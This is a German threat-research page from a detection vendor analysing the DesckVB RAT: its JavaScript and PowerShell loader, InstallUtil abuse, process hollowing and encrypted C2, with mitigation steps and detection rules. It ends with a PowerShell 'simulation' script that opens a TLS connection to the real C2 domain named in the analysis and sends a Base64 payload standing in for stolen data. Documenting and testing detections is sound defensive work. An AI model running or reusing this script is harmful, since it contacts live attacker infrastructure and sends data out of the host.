SOC Prime Bias: Mittel

09 Apr. 2026 17:59

DesckVB RAT Analyse: Vom JavaScript-Loader zum Fileless .NET RAT

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
DesckVB RAT Analyse: Vom JavaScript-Loader zum Fileless .NET RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

DesckVB RAT ist ein von JavaScript getriebener Trojaner, der in einen PowerShell-Loader integriert wird, um eine dateilose .NET-DLL direkt im Speicher abzurufen und auszuführen. Um die Ausführung zu verschleiern, nutzt der Loader Base64-Codierung und String-Reversal-Obfuskation, missbraucht InstallUtil.exe als LOLBin und startet einen neuen Prozess mit CreateProcessA. Sobald aktiviert, stellt der RAT verschlüsselte HTTPS C2-Kommunikation her und unterstützt Module für Keylogging, Webcam-Zugriff und Anti-AV-Erkennung.

Untersuchung

Die Analyse zeigt, dass die anfängliche JavaScript-Phase ein PowerShell-Skript in C:UsersPublic schreibt und dann eine verschleierte Domain kontaktiert, um eine .NET-Assembly herunterzuladen (zum Beispiel ClassLibrary3.dll). Die Assembly lädt unterstützende DLLs, erstellt einen angehaltenen Prozess und injiziert Payload-Code, während Konfigurationsdetails wie eine sekundäre bösartige Domain und Port berichtet werden. Netzwerk-Telemetrie bestätigt TLS-verschlüsselte Kommunikation vom infizierten Host zur Infrastruktur des Angreifers.

Minderung

Blockieren Sie die Ausführung von nicht vertrauenswürdigen oder unsignierten PowerShell-Skripten und beschränken Sie die Nutzung von InstallUtil.exe für nicht-administrative oder unerwartete Workflows. Wenden Sie strikte ausgehende Kontrollen an, einschließlich HTTPS-Überwachung, wo möglich, und Domain-Reputationsfilterung für identifizierte bösartige Infrastruktur. Auf Endpunkten erkennen Sie die Benutzung von CreateProcessA mit Flags für angehaltene Prozesse und alarmieren Sie bei Lademustern von .NET-Assemblies im Speicher, die mit dateiloser Injektion übereinstimmen.

Reaktion

Wenn Indikatoren erkannt werden, isolieren Sie den Endpunkt, stoppen Sie die bösartige Prozesskette und erfassen Sie Speicherauszüge zur Analyse von in-Speicher-Assemblies und injizierten Regionen. Entfernen Sie die abgelegten PowerShell-Artefakte aus C:UsersPublic und beseitigen Sie alle zugehörigen DLLs oder Überbleibsel von Loaders. Setzen Sie betroffene Anmeldeinformationen zurück, rotieren Sie exponierte Geheimnisse und überprüfen Sie Firewall-/Proxy-Logs auf ausgehende Verbindungen zu den aufgelisteten Domains und Ports.

"graph TB %% Klassen-Definitionen classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Knoten loader_js["<b>Tool</b> – <b>Name</b>: Verschleierter JavaScript-Loader<br/><b>Technik</b>: T1027.006 HTML-Schmuggel<br/><b>Technik</b>: T1027.008 Gestreifte Payloads<br/><b>Beschreibung</b>: Verwendet Base64 und umgekehrte Strings zur Befehlsverschleierung"] class loader_js tool powershell_script["<b>Tool</b> – <b>Name</b>: PowerShell-Skript lkpzw_01.ps1<br/><b>Technik</b>: T1059.001 PowerShell<br/><b>Beschreibung</b>: Führt mit umgangenem Ausführungsrichtlinien aus"] class powershell_script tool dotnet_assembly["<b>Datei</b>: Bösartige .NET-Assembly"] class dotnet_assembly file installutil_execution["<b>Tool</b> – <b>Name</b>: InstallUtil.exe<br/><b>Technik</b>: T1218.004 System-Binary-Proxy-Ausführung<br/><b>Beschreibung</b>: Führt .NET-DLL über ein vertrauenswürdiges System-Binary aus"] class installutil_execution tool dotnet_reflection["<b>Malware</b> – <b>Name</b>: ClassLibrary3.dll<br/><b>Technik</b>: T1620 Reflektives Code-Laden<br/><b>Beschreibung</b>: Lädt Assembly direkt in den Speicher mit Reflection"] class dotnet_reflection malware process_hollow["<b>Aktion</b> – <b>Technik</b>: T1055.012 Process Hollowing<br/><b>Beschreibung</b>: Erstellt einen angehaltenen Prozess und injiziert bösartigen Code"] class process_hollow action thread_hijack["<b>Aktion</b> – <b>Technik</b>: T1055.003 Thread Execution Hijacking<br/><b>Beschreibung</b>: Entführt die Ausführung des Threads im Zielprozess"] class thread_hijack action dll_hijack["<b>Aktion</b> – <b>Technik</b>: T1574.001 DLL-Hijack-Ausführungsfluss<br/><b>Beschreibung</b>: Lädt zusätzliche DLLs in den Speicher, um die Funktionalität zu erweitern"] class dll_hijack action keylogger_module["<b>Malware</b> – <b>Name</b>: Microsoft.exe<br/><b>Technik</b>: T1056.001 Keylogging<br/><b>Beschreibung</b>: Schlupft Keylogger und andere Module"] class keylogger_module malware c2_https["<b>Aktion</b> – <b>Technik</b>: T1071.001 Webprotokolle<br/><b>Beschreibung</b>: Kommuniziert über HTTPS und vermischt sich mit legitimen Datenverkehr"] class c2_https action %% Verbindungen loader_js –>|schreibt und führt aus| powershell_script powershell_script –>|lädt Assembly herunter| dotnet_assembly dotnet_assembly –>|ausgeführt über| installutil_execution installutil_execution –>|lädt mit Reflection| dotnet_reflection dotnet_reflection –>|erstellt angehaltenen Prozess| process_hollow process_hollow –>|nutzt Thread Hijacking| thread_hijack thread_hijack –>|lädt zusätzliche DLLs| dll_hijack dll_hijack –>|ermöglicht| keylogger_module keylogger_module –>|kommuniziert mit C2| c2_https "

Angriffsablauf

Erkennungen

Powershell führt Datei im verdächtigen Verzeichnis unter Verwendung der Umgehung der Ausführungsrichtlinien aus (via cmdline)

SOC Prime Team
08. Apr 2026

LOLBAS WScript / CScript (via process_creation)

SOC Prime Team
08. Apr 2026

Verdächtige PowerShell-Strings (via powershell)

SOC Prime Team
08. Apr 2026

Rufen Sie verdächtige .NET-Klassen/Methoden von der PowerShell-Befehlszeile aus auf (via process_creation)

SOC Prime Team
08. Apr 2026

Verdächtige Dateien im öffentlichen Benutzerprofil (via file_event)

SOC Prime Team
08. Apr 2026

Verdächtige Ausführung aus dem öffentlichen Benutzerprofil (via process_creation)

SOC Prime Team
08. Apr 2026

IOCs (SourceIP) zur Erkennung: DesckVB RAT-Analyse: Vom JavaScript-Loader bis zum Fileless .NET RAT

SOC Prime AI-Regeln
08. Apr 2026

IOCs (HashMd5) zur Erkennung: DesckVB RAT-Analyse: Vom JavaScript-Loader bis zum Fileless .NET RAT

SOC Prime AI-Regeln
08. Apr 2026

IOCs (HashSha256) zur Erkennung: DesckVB RAT-Analyse: Vom JavaScript-Loader bis zum Fileless .NET RAT

SOC Prime AI-Regeln
08. Apr 2026

IOCs (DestinationIP) zur Erkennung: DesckVB RAT-Analyse: Vom JavaScript-Loader bis zum Fileless .NET RAT

SOC Prime AI-Regeln
08. Apr 2026

Erkennung der DesckVB RAT C2-Kommunikation [Windows Netzwerkverbindung]

SOC Prime AI-Regeln
08. Apr 2026

Erkennung der DesckVB RAT PowerShell- und InstallUtil-Ausführung [Windows PowerShell]

SOC Prime AI-Regeln
08. Apr 2026

Simulationausführung

Voraussetzung: Die Telemetrie- und Baseline-Pre-Flight-Check muss bestanden werden.

Grund: Dieser Abschnitt beschreibt die genaue Ausführung der Angriffstechnik (TTP), die entworfen wurde, um die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu einer Fehldiagnose.

  • Angriffserzählung & Befehle:
    Der Angreifer, der sich den ersten Zugang verschafft hat, startet eine PowerShell-basierte „Living Off The Land“-Nutzlast, die eine TLS-verschlüsselte TCP-Verbindung zur fest programmierten C2-Domain öffnet manikandan83.mysynology.net auf Port 7535. Die Nutzlast kodiert einen Dummy-Datenblock mit Base64 (darstellend T1132.002) und streamt ihn über den TLS-Kanal. Da PowerShells .NET-Klassen verwendet werden, werden keine externen Binärdateien auf die Festplatte geschrieben, was die dateilose Natur des DesckVB RAT widerspiegelt. Die Verbindung wird von einem Kindprozess hergestellt (powershell.exe), die von Sysmon als Netzwerkverbindungsereignis mit der genauen Domain, dem Port und dem TLS-Handshake-Flag erfasst wird, die die Regel überwacht.

  • Regression Test Script:

    # --------------------------------------------------------------
    # DesckVB RAT C2-Kommunikationssimulation (PowerShell)
    # --------------------------------------------------------------
    # Parameter
    $c2Domain = "manikandan83.mysynology.net"
    $c2Port   = 7535
    
    # Dummy-Payload (Base64-codiert) – stellt exfiltrierte Daten dar
    $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
    
    try {
        # TCP-Verbindung herstellen
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
        $netStream = $tcpClient.GetStream()
    
        # Mit TLS (SslStream) umhüllen
        $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
        $sslStream.AuthenticateAsClient($c2Domain)
    
        Write-Host "[+] TLS-Handshake mit $c2Domain:$c2Port abgeschlossen"
    
        # Payload-Länge-Präfix senden (4-Byte Big-Endian) und dann Daten
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
        $sslStream.Write($len,0,$len.Length)
        $sslStream.Write($bytes,0,$bytes.Length)
        $sslStream.Flush()
        Write-Host "[+] Payload gesendet (Base64 Länge $($bytes.Length))"
    
    } catch {
        Write-Error "[-] Verbindung fehlgeschlagen: $_"
    } finally {
        # Sauberes Herunterfahren
        if ($sslStream) { $sslStream.Close() }
        if ($netStream) { $netStream.Close() }
        if ($tcpClient) { $tcpClient.Close() }
        Write-Host "[*] Verbindung beendet."
    }
  • Cleanup-Befehle:

    # Sicherstellen, dass verbleibende PowerShell NetTCP-Verbindungen geschlossen sind
    Get-Process -Name powershell | Where-Object {
        $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
    } | Stop-Process -Force
    
    # Optional: Sysmon entfernen (wenn dies eine einmalige Testumgebung ist)
    # & "$env:ProgramFilesSysmonSysmon.exe" -u